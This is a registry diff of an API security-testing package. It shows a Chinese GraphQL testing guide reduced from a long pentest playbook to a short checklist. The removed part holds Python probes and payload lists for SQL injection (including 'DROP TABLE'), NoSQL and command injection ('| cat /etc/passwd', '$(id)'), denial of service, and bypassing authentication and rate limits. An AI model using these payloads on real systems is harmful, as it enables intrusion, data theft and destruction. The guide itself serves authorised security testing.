opencode-api-security-testing 2.1.0 → 2.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/SKILL.md +1797 -0
  2. package/core/advanced_recon.py +788 -0
  3. package/core/agentic_analyzer.py +445 -0
  4. package/core/analyzers/api_parser.py +210 -0
  5. package/core/analyzers/response_analyzer.py +212 -0
  6. package/core/analyzers/sensitive_finder.py +184 -0
  7. package/core/api_fuzzer.py +422 -0
  8. package/core/api_interceptor.py +525 -0
  9. package/core/api_parser.py +955 -0
  10. package/core/browser_tester.py +479 -0
  11. package/core/cloud_storage_tester.py +1330 -0
  12. package/core/collectors/__init__.py +23 -0
  13. package/core/collectors/api_path_finder.py +300 -0
  14. package/core/collectors/browser_collect.py +645 -0
  15. package/core/collectors/browser_collector.py +411 -0
  16. package/core/collectors/http_client.py +111 -0
  17. package/core/collectors/js_collector.py +490 -0
  18. package/core/collectors/js_parser.py +780 -0
  19. package/core/collectors/url_collector.py +319 -0
  20. package/core/context_manager.py +682 -0
  21. package/core/deep_api_tester_v35.py +844 -0
  22. package/core/deep_api_tester_v55.py +366 -0
  23. package/core/dynamic_api_analyzer.py +532 -0
  24. package/core/http_client.py +179 -0
  25. package/core/models.py +296 -0
  26. package/core/orchestrator.py +890 -0
  27. package/core/prerequisite.py +227 -0
  28. package/core/reasoning_engine.py +1042 -0
  29. package/core/response_classifier.py +606 -0
  30. package/core/runner.py +938 -0
  31. package/core/scan_engine.py +599 -0
  32. package/core/skill_executor.py +435 -0
  33. package/core/skill_executor_v2.py +670 -0
  34. package/core/skill_executor_v3.py +704 -0
  35. package/core/smart_analyzer.py +687 -0
  36. package/core/strategy_pool.py +707 -0
  37. package/core/testers/auth_tester.py +264 -0
  38. package/core/testers/idor_tester.py +200 -0
  39. package/core/testers/sqli_tester.py +211 -0
  40. package/core/testing_loop.py +655 -0
  41. package/core/utils/base_path_dict.py +255 -0
  42. package/core/utils/payload_lib.py +167 -0
  43. package/core/utils/ssrf_detector.py +220 -0
  44. package/core/verifiers/vuln_verifier.py +536 -0
  45. package/package.json +17 -13
  46. package/references/asset-discovery.md +119 -612
  47. package/references/graphql-guidance.md +65 -641
  48. package/references/intake.md +84 -0
  49. package/references/report-template.md +131 -38
  50. package/references/rest-guidance.md +55 -526
  51. package/references/severity-model.md +52 -264
  52. package/references/test-matrix.md +65 -263
  53. package/references/validation.md +53 -400
  54. package/scripts/postinstall.js +46 -0
  55. package/agents/cyber-supervisor.md +0 -55
  56. package/agents/probing-miner.md +0 -42
  57. package/agents/resource-specialist.md +0 -31
  58. package/commands/api-security-testing-scan.md +0 -59
  59. package/commands/api-security-testing-test.md +0 -49
  60. package/commands/api-security-testing.md +0 -72
  61. package/tsconfig.json +0 -17
@@ -1,684 +1,108 @@
1
- # GraphQL 安全测试指导
1
+ # GraphQL Guidance
2
2
 
3
- ## 目录
3
+ 分析 GraphQL API 时使用。
4
4
 
5
- 1. [GraphQL 特征识别](#1-graphql-特征识别)
6
- 2. [端点发现](#2-端点发现)
7
- 3. [内省查询](#3-内省查询)
8
- 4. [查询构造](#4-查询构造)
9
- 5. [授权测试](#5-授权测试)
10
- 6. [注入测试](#6-注入测试)
11
- 7. [拒绝服务](#7-拒绝服务)
12
- 8. [Bypass 技巧](#8-bypass-技巧)
5
+ ## 关注领域
13
6
 
14
- ---
7
+ ### 字段级授权
15
8
 
16
- ## 1. GraphQL 特征识别
9
+ - resolver 是否正确检查权限
10
+ - 嵌套查询是否泄露数据
11
+ - 是否缺少 admin-only 字段
17
12
 
18
- ### 识别特征
13
+ ### 嵌套遍历
19
14
 
20
- | 特征 | 说明 |
21
- |------|------|
22
- | URL | `/graphql`, `/api`, `/query` |
23
- | Content-Type | `application/json` |
24
- | 请求方法 | POST (主要), GET (查询) |
25
- | 请求体 | `{"query": "...", "variables": {...}}` |
26
- | 响应 | `{"data": {...}, "errors": [...]}` |
15
+ - `type User { friends: [User!]! }` 可导致递归查询
16
+ - `type Post { author: User }` 允许遍历
17
+ - 是否限制遍历深度
27
18
 
28
- ### 常见 GraphQL 路径
19
+ ### Resolver 边界
29
20
 
30
- ```
31
- /graphql
32
- /graphql/console
33
- /api/graphql
34
- /api/v1/graphql
35
- /graphql-api
36
- /query
37
- ```
38
-
39
- ### 技术识别
40
-
41
- ```python
42
- # GraphQL 识别方法
43
- def detect_graphql(url):
44
- # 1. 检查 GraphQL 特有响应
45
- resp = requests.post(url, json={"query": "{__typename}"})
46
- if "data" in resp.json() and "__typename" in resp.text:
47
- return True
48
-
49
- # 2. 检查 introspection 端点
50
- resp = requests.post(url, json={
51
- "query": "{__schema{queryType{name}}}"
52
- })
53
- if "data" in resp.json():
54
- return True
55
-
56
- # 3. 检查 GraphQL 特有错误
57
- if "errors" in resp.json() and any(
58
- e.get("message", "").startswith("Cannot query")
59
- for e in resp.json().get("errors", [])
60
- ):
61
- return True
62
-
63
- return False
64
- ```
65
-
66
- ---
67
-
68
- ## 2. 端点发现
69
-
70
- ### 2.1 常见路径探测
71
-
72
- ```python
73
- # GraphQL 端点字典
74
- GRAPHQL_PATHS = [
75
- "/graphql",
76
- "/graphql/console",
77
- "/api/graphql",
78
- "/api/v1/graphql",
79
- "/api/v2/graphql",
80
- "/graphql-api",
81
- "/query",
82
- "/graphql.php",
83
- "/graphqly",
84
- "/api/query",
85
- ]
21
+ - 一个 resolver 是否调用另一个 service
22
+ - 是否存在 SSRF 风险
23
+ - 是否有命令注入点
86
24
 
87
- # 探测函数
88
- def probe_graphql_endpoint(base_url):
89
- for path in GRAPHQL_PATHS:
90
- url = base_url + path
91
- try:
92
- resp = requests.post(url, json={"query": "{__typename}"}, timeout=5)
93
- if resp.status_code == 400 and "data" in resp.text:
94
- print(f"[+] Found GraphQL: {url}")
95
- return url
96
- except:
97
- pass
98
- return None
99
- ```
100
-
101
- ### 2.2 从 JS 中发现
102
-
103
- ```python
104
- # 从 JS 源码中提取 GraphQL 配置
105
- GRAPHQL_PATTERNS = [
106
- r'["\']/(?:graphql|api/graphql)["\']',
107
- r'endpoint\s*:\s*["\']([^"\']+)["\']',
108
- r'graphql\s*:\s*["\']([^"\']+)["\']',
109
- r'new\s+GraphQLClient\(["\']([^"\']+)["\']',
110
- ]
111
-
112
- def extract_from_js(js_content):
113
- endpoints = []
114
- for pattern in GRAPHQL_PATTERNS:
115
- matches = re.findall(pattern, js_content)
116
- endpoints.extend(matches)
117
- return list(set(endpoints))
118
- ```
25
+ ### Mutation 滥用
119
26
 
120
- ---
121
-
122
- ## 3. 内省查询
123
-
124
- ### 3.1 完整内省查询
125
-
126
- ```python
127
- # 获取完整 schema
128
- INTROSPECTION_QUERY = """
129
- {
130
- __schema {
131
- queryType { name }
132
- mutationType { name }
133
- subscriptionType { name }
134
- types {
135
- kind
136
- name
137
- fields(includeDeprecated: true) {
138
- name
139
- args {
140
- name
141
- type { name kind ofType { name kind } }
142
- defaultValue
143
- }
144
- type { name kind ofType { name kind } }
145
- isDeprecated
146
- deprecationReason
147
- }
148
- }
149
- }
150
- }
151
- """
27
+ - 未经授权的状态变更
28
+ - 条件 mutation(如 admin-only mutation)
29
+ - 批量 mutation 导致的问题
152
30
 
153
- # 执行内省
154
- def introspect(url, headers=None):
155
- resp = requests.post(
156
- url,
157
- json={"query": INTROSPECTION_QUERY},
158
- headers=headers
159
- )
160
- return resp.json()
161
- ```
31
+ ### Introspection 暴露
162
32
 
163
- ### 3.2 分字段内省
33
+ - 是否禁用 introspection
34
+ - 是否暴露敏感字段
35
+ - Schema 文档是否包含敏感信息
164
36
 
165
- ```python
166
- # 获取所有 Query 字段
167
- QUERY_FIELDS = """
168
- {
169
- __schema {
170
- queryType {
171
- fields {
172
- name
173
- description
174
- args { name type { name } }
175
- type { name }
176
- }
177
- }
178
- }
179
- }
180
- """
37
+ ## 常见风险信号
181
38
 
182
- # 获取所有 Mutation 字段
183
- MUTATION_FIELDS = """
184
- {
185
- __schema {
186
- mutationType {
187
- fields {
188
- name
189
- description
190
- args { name type { name } }
191
- type { name }
192
- }
193
- }
194
- }
195
- }
196
- """
39
+ - ` IntrospectionQuery` 可访问
40
+ - 缺少 query 复杂度限制
41
+ - 缺少 query 深度限制
42
+ - 缺少字段权限检查
43
+ - mutation 接受任意输入
44
+ - 嵌套查询无限制
197
45
 
198
- # 获取特定类型详情
199
- TYPE_DETAIL = """
200
- {
201
- __type(name: "User") {
202
- name
203
- fields {
204
- name
205
- type { name }
206
- }
207
- }
208
- }
209
- """
210
- ```
46
+ ## 测试重点
211
47
 
212
- ### 3.3 枚举值获取
48
+ ### 1. 枚举攻击
213
49
 
214
- ```python
215
- # 获取枚举值
216
- ENUM_VALUES = """
217
- {
218
- __type(name: "UserRole") {
219
- enumValues {
220
- name
221
- description
222
- }
223
- }
224
- }
225
- """
226
-
227
- # 获取输入类型
228
- INPUT_TYPES = """
229
- {
230
- __schema {
231
- inputTypes {
232
- name
233
- inputFields {
234
- name
235
- type { name }
236
- }
237
- }
238
- }
239
- }
240
- """
241
- ```
242
-
243
- ---
244
-
245
- ## 4. 查询构造
246
-
247
- ### 4.1 基本查询
248
-
249
- ```python
250
- # 简单查询
251
- QUERY_1 = """
252
- {
253
- user(id: "1") {
254
- id
255
- username
256
- email
257
- }
258
- }
259
- """
260
-
261
- # 带参数查询
262
- QUERY_2 = """
263
- {
264
- users(filter: {role: "admin"}, limit: 10) {
50
+ ```graphql
51
+ # 枚举所有用户
52
+ query {
53
+ users {
265
54
  id
266
55
  username
267
- profile {
268
- name
269
- avatar
270
- }
271
- }
272
- }
273
- """
274
-
275
- # 嵌套查询
276
- QUERY_3 = """
277
- {
278
- orders(first: 5) {
279
- edges {
280
- node {
281
- id
282
- total
283
- user {
284
- username
285
- email
286
- }
287
- items {
288
- product { name }
289
- quantity
290
- }
291
- }
292
- }
293
- }
294
- }
295
- """
296
- ```
297
-
298
- ### 4.2 Mutation
299
-
300
- ```python
301
- # 登录 Mutation
302
- LOGIN_MUTATION = """
303
- mutation {
304
- login(username: "admin", password: "admin123") {
305
- token
306
- user {
307
- id
308
- username
309
- }
310
- }
311
- }
312
- """
313
-
314
- # 创建资源
315
- CREATE_MUTATION = """
316
- mutation {
317
- createPost(input: {
318
- title: "Test"
319
- content: "Test content"
320
- authorId: "1"
321
- }) {
322
- id
323
- title
324
- }
325
- }
326
- """
327
-
328
- # 更新资源
329
- UPDATE_MUTATION = """
330
- mutation {
331
- updateUser(id: "1", input: {
332
- email: "hacked@example.com"
333
- }) {
334
- id
335
56
  email
336
57
  }
337
58
  }
338
- """
339
-
340
- # 删除资源
341
- DELETE_MUTATION = """
342
- mutation {
343
- deleteUser(id: "1") {
344
- success
345
- }
346
- }
347
- """
348
- ```
349
-
350
- ---
351
-
352
- ## 5. 授权测试
353
-
354
- ### 5.1 未授权访问
355
-
356
- ```python
357
- # 不带 Token 测试
358
- def test_unauthorized(url):
359
- queries = [
360
- "{ users { id username email } }",
361
- "{ orders { id total } }",
362
- "{ admin { panel } }",
363
- ]
364
-
365
- for query in queries:
366
- resp = requests.post(url, json={"query": query})
367
- if "data" in resp.json() and resp.json()["data"] is not None:
368
- print(f"[!] 未授权访问: {query}")
369
- ```
370
-
371
- ### 5.2 字段级授权
372
-
373
- ```python
374
- # 测试字段级权限(Admin 字段普通用户可见)
375
- def test_field_auth(url, user_token):
376
- # 用户自己的查询
377
- user_query = """
378
- {
379
- user(id: "1") {
380
- id
381
- username
382
- email
383
- isAdmin # 应该需要 admin 权限
384
- }
385
- }
386
- """
387
-
388
- headers = {"Authorization": f"Bearer {user_token}"}
389
- resp = requests.post(url, json={"query": user_query}, headers=headers)
390
-
391
- if "isAdmin" in str(resp.json()):
392
- print("[!] 字段级权限绕过 - 普通用户可见 admin 字段")
393
- ```
394
-
395
- ### 5.3 IDOR 测试
396
-
397
- ```python
398
- # GraphQL IDOR 测试
399
- def test_graphql_idor(url, token):
400
- headers = {"Authorization": f"Bearer {token}"}
401
-
402
- # 用自己的 token 访问自己的数据(基线)
403
- baseline = requests.post(url, json={
404
- "query": "{ user(id: \"1\") { id username } }"
405
- }, headers=headers)
406
-
407
- # 尝试访问其他用户的数据
408
- for victim_id in ["2", "3", "4", "5"]:
409
- resp = requests.post(url, json={
410
- "query": f'{{ user(id: "{victim_id}") {{ id username email }} }}'
411
- }, headers=headers)
412
-
413
- data = resp.json().get("data")
414
- if data and data.get("user"):
415
- print(f"[!] IDOR - 可访问用户 {victim_id} 的数据")
416
- ```
417
-
418
- ---
419
-
420
- ## 6. 注入测试
421
-
422
- ### 6.1 SQL 注入 (在 Query 变量中)
423
-
424
- ```python
425
- # SQL 注入测试
426
- SQLI_PAYLOADS = [
427
- '" OR "1"="1',
428
- "' OR '1'='1",
429
- "1; DROP TABLE users--",
430
- "1' UNION SELECT NULL--",
431
- ]
432
-
433
- def test_sqli_injection(url, token):
434
- headers = {"Authorization": f"Bearer {token}"}
435
-
436
- for payload in SQLI_PAYLOADS:
437
- resp = requests.post(url, json={
438
- "query": f'{{ user(id: "{payload}") {{ id username }} }}',
439
- "variables": {"id": payload}
440
- }, headers=headers)
441
-
442
- if "error" not in resp.text and "sql" in resp.text.lower():
443
- print(f"[!] SQL 注入: {payload}")
444
59
  ```
445
60
 
446
- ### 6.2 NoSQL 注入
447
-
448
- ```python
449
- # NoSQL 注入测试 (MongoDB)
450
- NOSQL_PAYLOADS = [
451
- '{"$ne": null}',
452
- '{"$gt": ""}',
453
- '{"$regex": ".*"}',
454
- '{"$where": "1==1"}',
455
- ]
456
-
457
- def test_nosql_injection(url, token):
458
- headers = {"Authorization": f"Bearer {token}"}
459
-
460
- for payload in NOSQL_PAYLOADS:
461
- resp = requests.post(url, json={
462
- "query": f'{{ users(filter: {{username: {payload}}}) {{ id }} }}'
463
- }, headers=headers)
464
-
465
- if resp.status_code == 200:
466
- print(f"[?] NoSQL 注入候选: {payload}")
467
- ```
468
-
469
- ### 6.3 命令注入
470
-
471
- ```python
472
- # 如果 GraphQL 支持文件操作或系统命令
473
- CMD_PAYLOADS = [
474
- "; ls",
475
- "| cat /etc/passwd",
476
- "`whoami`",
477
- "$(id)",
478
- ]
61
+ ### 2. 嵌套遍历
479
62
 
480
- def test_cmd_injection(url, token):
481
- headers = {"Authorization": f"Bearer {token}"}
482
-
483
- # 查找支持文件操作的字段
484
- # filePath, command, shell 等
485
- fields = ["filePath", "command", "shell", "script"]
486
-
487
- for field in fields:
488
- query = f"""
489
- {{
490
- system(input: {{ {field}: "; ls" }}) {{
491
- output
492
- }}
493
- }}
494
- """
495
- resp = requests.post(url, json={"query": query}, headers=headers)
496
-
497
- if resp.status_code == 200 and "root:" in resp.text:
498
- print(f"[!] 命令注入在字段: {field}")
499
- ```
500
-
501
- ---
502
-
503
- ## 7. 拒绝服务
504
-
505
- ### 7.1 深度嵌套查询
506
-
507
- ```python
508
- # 深度嵌套导致 DoS
509
- NESTED_QUERY = """
510
- {
511
- user(id: "1") {
63
+ ```graphql
64
+ # 递归遍历 friendships
65
+ query {
66
+ user(id: 1) {
512
67
  friends {
513
68
  friends {
514
69
  friends {
515
- friends {
516
- id
517
- username
518
- }
70
+ id
519
71
  }
520
72
  }
521
73
  }
522
74
  }
523
75
  }
524
- """
525
-
526
- # 批量查询导致 DoS
527
- BATCH_QUERY = """
528
- {
529
- u1: user(id: "1") { id }
530
- u2: user(id: "2") { id }
531
- # ... 重复 100 次
532
- u100: user(id: "100") { id }
533
- }
534
- """
535
-
536
- def test_dos(url):
537
- # 测试嵌套深度
538
- for depth in [5, 10, 15, 20]:
539
- query = build_nested_query(depth)
540
- start = time.time()
541
- resp = requests.post(url, json={"query": query}, timeout=10)
542
- duration = time.time() - start
543
-
544
- if duration > 5:
545
- print(f"[!] DoS - 深度 {depth} 耗时 {duration}s")
546
- ```
547
-
548
- ### 7.2 资源密集型字段
549
-
550
- ```python
551
- # 搜索/计算密集型字段
552
- EXPENSIVE_FIELDS = [
553
- "search(query: *)",
554
- "compute(primes: 1000000)",
555
- "generateReport(year: 9999)",
556
- "exportAllData()",
557
- ]
558
-
559
- def test_expensive_operations(url):
560
- for field in EXPENSIVE_FIELDS:
561
- query = f"{{ {field} }}"
562
- start = time.time()
563
- try:
564
- resp = requests.post(url, json={"query": query}, timeout=5)
565
- duration = time.time() - start
566
- if duration > 3:
567
- print(f"[!] 耗时操作: {field} ({duration}s)")
568
- except:
569
- pass
570
76
  ```
571
77
 
572
- ---
573
-
574
- ## 8. Bypass 技巧
575
-
576
- ### 8.1 绕过字段限制
577
-
578
- ```python
579
- # 如果某字段被过滤,尝试别名
580
- ALIAS_BYPASS = """
581
- {
582
- user: users(limit: 1) { id }
583
- _user: users(limit: 1) { id username }
584
- }
585
- """
586
-
587
- # 绕过类型检查
588
- TYPE_BYPASS = """
589
- {
590
- # 如果 Int 期望 5,尝试 String "5"
591
- user(id: "5") { id }
592
- }
593
- """
78
+ ### 3. 权限绕过
594
79
 
595
- # 绕过 N+1 限制
596
- N_PLUS_1_BYPASS = """
597
- {
598
- # 多次执行同一查询
599
- u1: user(id: "1") { id }
600
- u2: user(id: "2") { id }
601
- # 避免字段限制
80
+ ```graphql
81
+ # 尝试 admin 字段
82
+ query {
83
+ user(id: 1) {
84
+ isAdmin
85
+ role
86
+ }
602
87
  }
603
- """
604
- ```
605
-
606
- ### 8.2 绕过认证
607
-
608
- ```python
609
- # 如果登录被限制,尝试
610
- AUTH_BYPASS = [
611
- # 1. 直接访问需要认证的查询
612
- "{ admin { users { id } } }",
613
-
614
- # 2. 利用注册接口创建 admin
615
- MUTATION_CREATE_ADMIN = """
616
- mutation {
617
- register(input: {
618
- username: "admin2"
619
- password: "Admin123!"
620
- role: "admin" # 尝试设置 admin 角色
621
- }) { token }
622
- }
623
- """,
624
-
625
- # 3. 利用忘记密码重置 admin
626
- ]
627
88
  ```
628
89
 
629
- ### 8.3 绕过速率限制
630
-
631
- ```python
632
- # 如果有速率限制,尝试
633
- RATE_LIMIT_BYPASS = [
634
- # 1. 使用不同字段名
635
- {"query": "{ u: user(id: \"1\") { id } }"},
636
- {"query": "{ user1: user(id: \"1\") { id } }"},
637
-
638
- # 2. 注释绕过
639
- {"query": "{ user(id: \"1\") { id } } # "},
640
- {"query": "{ user /* */ (id: \"1\") { id } }"},
641
-
642
- # 3. 变量混淆
643
- {"query": "query($id: ID!) { user(id: $id) { id } }",
644
- "variables": {"id": "1"}},
645
- ]
646
- ```
647
-
648
- ---
649
-
650
- ## 附录:GraphQL 测试检查清单
90
+ ### 4. mutation 滥用
651
91
 
92
+ ```graphql
93
+ # 未经授权的 mutation
94
+ mutation {
95
+ updateUser(id: 1, role: "admin") {
96
+ id
97
+ role
98
+ }
99
+ }
652
100
  ```
653
- □ 发现阶段
654
- □ 识别 GraphQL 端点
655
- □ 从 JS 中发现 GraphQL 配置
656
- □ 获取完整 Schema (introspection)
657
101
 
658
- 查询测试
659
- □ 列出所有类型和字段
660
- □ 获取枚举值
661
- □ 理解数据模型关系
102
+ ## 防护检查
662
103
 
663
- 授权测试
664
- 未认证访问
665
- 字段级权限绕过
666
- IDOR (跨用户访问)
667
- 垂直越权
668
-
669
- □ 注入测试
670
- □ SQL 注入
671
- □ NoSQL 注入
672
- □ 命令注入
673
- □ XSS
674
-
675
- □ DoS 测试
676
- □ 深度嵌套查询
677
- □ 批量查询
678
- □ 资源密集型操作
679
-
680
- □ 安全配置
681
- □ 限流测试
682
- □ CORS 配置
683
- □ 调试模式
684
- ```
104
+ - [ ] 是否限制查询复杂度
105
+ - [ ] 是否限制查询深度
106
+ - [ ] 是否禁用 introspection
107
+ - [ ] resolver 是否有权限检查
108
+ - [ ] 是否过滤敏感字段